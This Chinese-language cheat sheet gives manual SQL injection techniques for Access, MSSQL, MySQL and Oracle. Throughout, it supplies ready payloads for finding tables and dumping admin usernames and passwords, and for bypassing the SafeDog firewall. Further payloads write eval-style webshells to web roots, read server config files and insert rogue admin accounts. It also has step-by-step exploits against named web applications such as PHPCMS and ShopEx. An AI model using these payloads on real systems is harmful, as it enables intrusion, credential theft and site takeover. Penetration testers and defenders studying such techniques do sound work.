ACCESS、MSSQL、MYSQL、ORACLE 手工注入

0x01 基本常识

简单判定有无漏洞:
粗略型:提交单引号’
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):’ and ‘1’=’1/‘ and ‘1’=’2
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%

简单判断数据库信息:

粗略型:
加单引号’(根据服务器报错的信息来判断)
加;–(;表示分离,– 则是注释符,;和–MSSQL数据库有,ACCESS数据库没有)

逻辑型:
and user>0
and (select count() from msysobjects)>0 ……(页面错误为access数据库)
and (select count() from sysobjects)>0 ……(页面正常为MSSQL数据库)
and db_name()>0 ……(爆数据库名)
and version>0(爆SQLServer版本信息以及服务器操作系统的类型和版本信息)

判断MSSQL权限:
and 0<>(Select ISSRVROLEMEMBER(‘sysadmin’))–(页面正常则为SA)
and 0<>(Select IS_MEMBER(’db_owner’))–(页面正常则为db_owner)
and 0<>(Select IS_MEMBER(’public’))–(页面正常则是public)
注意:
以上方法适用于参数是int数字型的时候。
若为字符型,需在参数后添加单引号’并在查询语句后添加;–,搜索型注入以此类推。

0x02 ACCESS注入基本流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
1、判断有无注入点
' and 1=1 and 1=2
2、猜表一般的表的名称无非是admin adminuser user pass password
and 0<>(select count(*) from *)
and exists (select * from admin)
and 0<>(select count(*) from admin)
3、爆破帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4、猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
常用的表名:admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new用户会员
常用的列名:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin administrator administrators adminpassword admin_pwd adminpass userpass user_pass admin_passwod 用户 用户名 密码 帐号

and exists (select 你要猜的字段名 from 你已经才出来的表名)
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(username)>0)
and 1=(select count(*) from admin where len(password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(username)>6) 错误
and 1=(select count(*) from admin where len(username)>5) 正确 长度是6
and 1=(select count(*) from admin where len(username)=6) 正确
6.猜解字符
and 1=(select count(*) from admin where left(username,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(username,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
7.更改管理员密码, 添加管理员帐户
更改密码:
; update admin set password ='dukong' where username=admin
添加管理员:
; insert into admin (username,password) values (dukong,dukong)--


ACCESS偏移注入
order by n 直到返回不正常,那么返回的列数就是n-1
union select 1,2,3,4,5,...,n-1 from admin会是正常的
然后用 * 代替查看admin表里面字段数
最后爆出admin账户, 会用到union select 1,2,3,4,...,from admin as a inner join admin as b on a.id=b.id 反正凑出字段数与 order by 查询的返回字段数相同来暴库

过安全狗:
/news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(*) fr%om tb_login) an%d%201<2
/news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(*) fr%om a_admin) an%d%201<2
/news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(new) fr%om admin) an%d%201<2

%
an%d 1%=%1
aN%d ex%is%ts (se%le%ct * f%r%om us%er)
aN%d 0<>(se%le%ct co%u%nt(*) f%r%om *)
a%n%d 0<>(s%el%ec%t c%ou%nt(*) f%r%om ad%mi%n)

0x03 MSSQL报错注入基本流程:

爆出表名和字段:having 1=1--

猜解表名:
获得第一个表名:
and (select top 1 name from sysobjects where xtype=’u’)>0
获得第二个表名:
and (select top 1 name from sysobjects where xtype=’u’ and name not in (‘user’))>0
以此类推。

猜解列名:
得到col_name表中的第一个列名:
and (select top 1 col_name(object_id(‘字段’),1) from sysobjects)>0

猜解字段内容:
and (select top 1 列名 from [表名])>0
如:
获取用户名:
and (select top 1 username from [admin])>0
获取密码:
and (select top 1 password from [admin])>0

导出webshell:
方法1:利用SQL执行命令功能导出WebShell
SELECT ‘<%execute request(“a”)%>’ into [vote] in ‘d:webx.asp;.xls’ ‘excel 8.0;’ from vote
注意:需拥有SQL执行权限且知道绝对路径
方法2:
建立一个有一个A字段的表 表名为a,字段类型为字符,长度为50。
在表A的a字段插入一句话木马,把表a的内容导出为物理路径的一个EXCEL文件。
导出为EXCEL后在利用IIS解析漏洞就可以变成webshell了。

方法2的SQL语句:

create table cmd (a varchar(50))
insert into cmd (a) values (‘<%execute request(“listentide”)%>’)
select * into [a] in ‘f:hostqhdyxtweba.asp;.xls’ ‘excel 4.0;’ from cmd
drop table cmd

漏洞:前端漏洞(常规方法检测,有错误回显),传递 get 参数的时候没有过滤,直接连接到 SQL 语句上。

1.判断注入点方法:加 ‘ 报错,或是加 and 1=1 返回正常,加 and 1=2 返回错误,aspx 一般都是 SqlServer。
2.判断数据库版本:加 and 1=@@version。
3.查看数据库其他信息:查看服务器所在主机名称:and 1=host_name() ,查看当前用户:and 1=current_user 获得当前用户,设为 Current_User,
查看当前数据库:and 1=db_name(),获得数据库名称,设为 DB_NAME。

4.判断数据表名:and 1=(select top 1 name from DB_NAME.Current_User.sysobjects where xtype=CHAR(85) and name not in (select top N name from
DB_NAME.Current_User.sysobjects where xtype=CHAR(85)))–,从 0 开始替换 N 返回表名。这个过程会得到一些有用的表,比如 XXX_admin,XXX_users==。
5.对比较敏感的表进行进一步注入获得字段:and 1=(select top 1 Name from syscolumns where id=object_id(0x5700650062005F00410064006D0069006E00) and name not
in(select top N Name from syscolumns where id=object_id(0x5700650062005F00410064006D0069006E00))),从 0 开始替换 N 逐个返回列名。
可能会获得一些有用的字段值,比如 username,password 等等。
6.根据字段名称获得相应的字段内容:”and 1=(select top 1 [Column_Name] from XXX_admin)” 获得字段内容。XXX_admin 是获得的有用的表,Column_Name 是字段名称。

0x04 MYSQL注入基本流程:

MYSQL注入漏洞是否存在的判断方法与ACCESS注入和MSSQL注入相同。

MYSQL注入漏洞的数据库类型判断方法也可以使用单引号’。

数据库权限判断:
and ord(mid(user(),1,1))=114 // (页面正常说明为root)

判断当前页面字段总数:
方法1、用union联合查询:and 1=1 union select 1,2,3,4,5……
方法2、用order by 查询“order by *–

判断显示位:
方法1、http://www.f4ck.org/article.php?id=1 and 1=2 union select 1,2,3,4,5,6,7……
方法2、http://www.f4ck.org/article.php?id=-1 union select 1,2,3,4,5,6,7……

查库:
版本大于5.0的mysql的information_schema库中存储着mysql的所有数据库和表结构信息,所以可以利用information_schema库快速注入。
获取第一个库名:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
获取第二个库名:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,2
以此类推。

查表:
获取数据库中第一个表名:
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库名的十六进制 limit 0,1
获取数据库中第二个表名:
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库名的十六进制 limit 1,2

查列:
获取数据库中指定表的第一个列名:
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名的十六进制 limit 0,1
获取数据库中指定表的第二个列名:
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名的十六进制 limit 0,1

得到字段内容:
在不同的显示位显示不同的字段内容:
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
在同一个显示位显示不同的字段内容:
and 1=2 Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

一次性查出所有表名:
union select 1,2,3,4,GROUP_CONCAT(DISTINCT table_name),6 from information_schema.columns where table_schema=数据库名的16进制
一次性查出所有字段名:
union select 1,2,3,4,GROUP_CONCAT(DISTINCT column_name),6 from information_schema.columns where table_schema=数据库名的16进制

导出一句话WebShell:
方法1:
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES(‘’);
Select cmd from temp into out file ‘F:/wwwroot/eval.php’;
Drop TABLE IF EXISTS temp;
方法2:
Select ‘’ into outfile ‘F:/wwwroot/eval.php’;

load_file() 常用路径:

c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
c:/Program Files/Apache Group/Apache/conf/httpd.conf 或C:/apache/conf/httpd.conf 查看WINDOWS系统apache的配置文件
c:/Resin-3.0.14/conf/resin.conf查看jsp开发的网站 resin文件配置信息

1.漏洞:前端漏洞(常规方法检测不到,用 %ce’ 检测有错误回显),GBK 宽字符转译导致的绕过 sql 注入安全检测。
①.找到存在漏洞的 URL,常规方法看不到回显,将参数改成 %ce’ ,有回显。
②.直接构造语句爆出后台账号密码:http://url/xxx.php?act=xxx&xx=%ce’ and 1=1 union select 1 and (select 1 from(select count(*),concat((select concat(0x5b,user_name,0x3a,password,0x5d) FROM ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
2.漏洞:前端漏洞(无错误回显),wap/index.php 的 action 参数存在本地文件包含漏洞,包含可执行 sql 命令文件 field_add.inc.php,而在这个文件中如果参数为 action,没有任何限制和过滤就可以包含本地一个 .inc.php 的文件。field_add.inc.php 件可以看到,$dataformat 没有初始化,$sql 也没有初始化,所以可以直接调用 sql 命令。(怎么检测有这个漏洞?)
①.注册一个普通用户,查看自己的 ID,userid = 2。
②.构造 http://URL/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql= update phpcms_member SET groupid=1 where
userid=2。更改注册账号的 groupid(组id)为 1 ,也就是将注册的 test 账号的组从普通用户组改为管理员组。
③.http://URL/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql= update phpcms_member_cache SET groupid=1 where
userid=2。更改注册账号在缓存表中的 groupid,使其不会因为缓存表未更改导致失败。
④.http://URL/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql= insert INTO phpcms_admin
(userid,username,allowmultilogin,alloweditpassword) values(2,test,1,1)。将 test 用户插入管理员表,并赋予 test 用户管理员具有的相关权限(后台登录和修改密码的权限)。
⑤.http://URL/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql= insert INTO phpcms_admin_role (userid,roleid)
values(2,1)。将 test 角色信息插入管理员角色表,使 test 角色为管理员的角色。
⑥.用test用户登录,即是管理员。
3.漏洞:前端漏洞(常规方法检测,有错误回显),传递 get 参数的时候没有过滤,直接拼接到 SQL 语句上。
①.常规方法检测注入点,有错误回显,可能直接返回数据库类型。
②.判断字段长度:后面加上 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,也就是最后一个正常页面返回。
③.判断字段位置回显:加上 and 1=2 union select 1,2,3,4,5,……,N-1 最后一个数为字段长度,有回显会将相应数字显示出来。
④.判断数据库信息:加上 and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,……,N-1 用 sql 指令替换 sql_command。用 version(),database(),user() 替换。
!!!注意:这里所得到的当前用户必须是 DBA 或是系统管理员,否则是进行不下去的,因为后面要用到系统表。
⑤.判断 mysql 所有数据库:加上 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,……,N-1 from
information_schema.SCHEMATA ,查看 mysql 中所有数据库的名称。
⑥.判断数据库表:加上 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,……,N-1 from information_schema.tables where
table_schema=database(),查看当前数据库拥有的所有表。可以发现存放用户信息的表 XXX_users,XXX_admin。
⑦.判断数据表的所有列:加上 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,……,N-1 from information_schema.columns
where table_name=0x636D735F7573657273。table_name=XXX_users,表名需要编码为 16 进制。可能会得到有用的列:userid,username,password 等等。
⑧.获取字段值:加上 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,……,N-1 from cms.XXX_users。得到数据。
⑨.解密登陆。
4.漏洞:前端漏洞(有错误回显),shopex 的 cookie 攻击漏洞。
①.判断注入点:注册账号并登陆,使用 firefox 的 cookiemanager 对 cookie 进行操作。查看 cookie,在 S[CUR] 值后面添加 ‘ 进行验证,发现页面没什么变化,再次使用
” 进行测试。从报错信息中可以获得表前缀为 sdb_,及 sql 语句拼接方式、数据库类型等等数据库信息。
②.判断字段数:使用” LIMIT 1,1 UNION ALL SELECT 11#
” LIMIT 1,1 UNION ALL SELECT 11,22#
” LIMIT 1,1 UNION ALL SELECT 11,22,33#
……
判断当前表中的字段数,并确定页面显示的字段。从页面中可以判断出该表共有 N 个字段,并且页面显示的是第 X 个字段。(设 N=6,X=3)
③.查询系统管理员用户:在 shopex 中,管理员用户信息保存在 sdb_operators 表中,使用” LIMIT 1,1 UNION ALL SELECT 11,22,(select count(*) from
sdb_operators),44,55,66# 查询管理员人数。
④.查询管理员用户名和密码:加上 ” LIMIT 1,1 UNION ALL SELECT 11,22,(select username from sdb_operators limit 0,1),44,55,66# 查询用户名。得到用户名 xxxx。
⑤.使用” LIMIT 1,1 UNION ALL SELECT 11,22,(select userpass from sdb_operators where username=’xxxx’),44,55,66# 查询管理员密码。
⑥.解密登陆。
5.漏洞:DISCUZ 漏洞(有错误回显):二次注入,在进行添加回复操作的时候,未对原先存在的 message 信息进行特殊字符过滤,且该 message 直接拼接到 sql 语句中,导致特殊
sql 语句的执行。
6.漏洞:前端漏洞(无错误回显):登陆绕过检测,网站有多处都调用并带入 admin_name 进行查询,虽然在 POST 数据时进行了过滤(首次提交返回错误页面的原因)。但因
get_admin_one 函数和 check_admin 函数没有对带入的 admin_name 进行校验或过滤,导致 sql 注入。
对带入的 admin_name 进行校验或过滤,导致 sql 注入。
在后台登陆界面用户名密码随便输,验证码填正确,burp 抓包:修改 POST 提交的数据,修改其中的 admin_name 值为 XXXX%d5′ or 1=1%23 ,
其中 XXXX 为管理员账号,放行,第一次肯定不成功(因为在 post 数据时进行了过滤),刷新一下就能绕过直接进后台。

0x05 Oracle注入

漏洞:前端漏洞(有错误回显),get 参数未过滤直接拼接到 SQL 语句。

1.常规方法检测注入点,有错误回显,可能直接返回数据库类型。
2.判断数据库类型:在url的后面添加"/*",页面返回错误,说明不是 mysql 数据库,然后使用 'and (select count(*) from user_tables)>0– 返回正常,判断该数据库为oracle 数据库,因为只有 oracle 数据库才有 user_tables 表。
3.获取字段数:使用’ order by 1 — ,通过变换数值,当页面报错时,则字段数就是报错之前的数,设当’ order by N– 页面报错,说明共有 N-1 个字段,设 N=5,通过
' union select null,null,null,null from user_tables order by 1 desc– 返回正常页面验证字段确实为 4 个。
4.判断字段类型:通过
' union select 'null',null,null,null from user_tables order by 1 desc–
' union select null,'null',null,null from user_tables order by 1 desc–
' union select null,null,’null’,null from user_tables order by 1 desc–
……
判断各字段数据类型:那个返回正确说明那个就是字符型,否则可能是整型或其他类型。(设 2.3 是字符型)。
5.判断各字段在页面中的显示位置:' union select 1,'2','3',4 from user_tables order by 1 desc– 可能得到 2.3.4 在网页中的显示位置。
6.获取数据库表个数:使用 ' and (select count(*) from user_tables)=N–,N 从 0 开始 ++,返回正常即有 N 个表。
7.猜测数据表名:使用 ' and 1=2 union select 1,’2’,table_name,4 from user_tables– 获取数据表名,设获得关键表名 XXX。
8.判断账号数:利用 ' and (select count(*) from XXX)>0 — 判断共有多少个账号,用数字替代 0,返回非正常页面证明账号个数为填入的数字。
9.判断字段个数:使用 ' and (SELECT count(*) FROM USER_TAB_COLUMNS WHERE table_name='XXX')>0–,通过替换数字 0,当页面出现错时,此时的数字就是该表的字段个数。
设得到字段个数为 A=2。
10.获取字段名:使用 ' and 1=2 union select 1,'2',COLUMN_NAME,4 from (select * from (SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE table_name=’XXX’ order by 1 asc ) WHERE ROWNUM<=A ORDER BY 1 DESC) WHERE ROWNUM<=1,通过不断变换第一个 rownum 后面的数字(A–),可以得到该表的字段名称。设为 name,password.
11.获取管理员信息:利用' and 1=2 union select 1,name,password,4 from XXX — 获取管理员用户名和密码信息
注入点导出一句话:
在获取到字段数之后,直接联合查询 http://www.xxx.com/news.php?NewsID=-1 union select '<?php eval($_POST[cmd]);?>',2 into outfile 'D:/wwwroot/eval.php'
然后访问 eval.php。

0x06 参考

  1. MSSQL、MYSQL、ORACLE 手工注入
  2. sqlmap笔记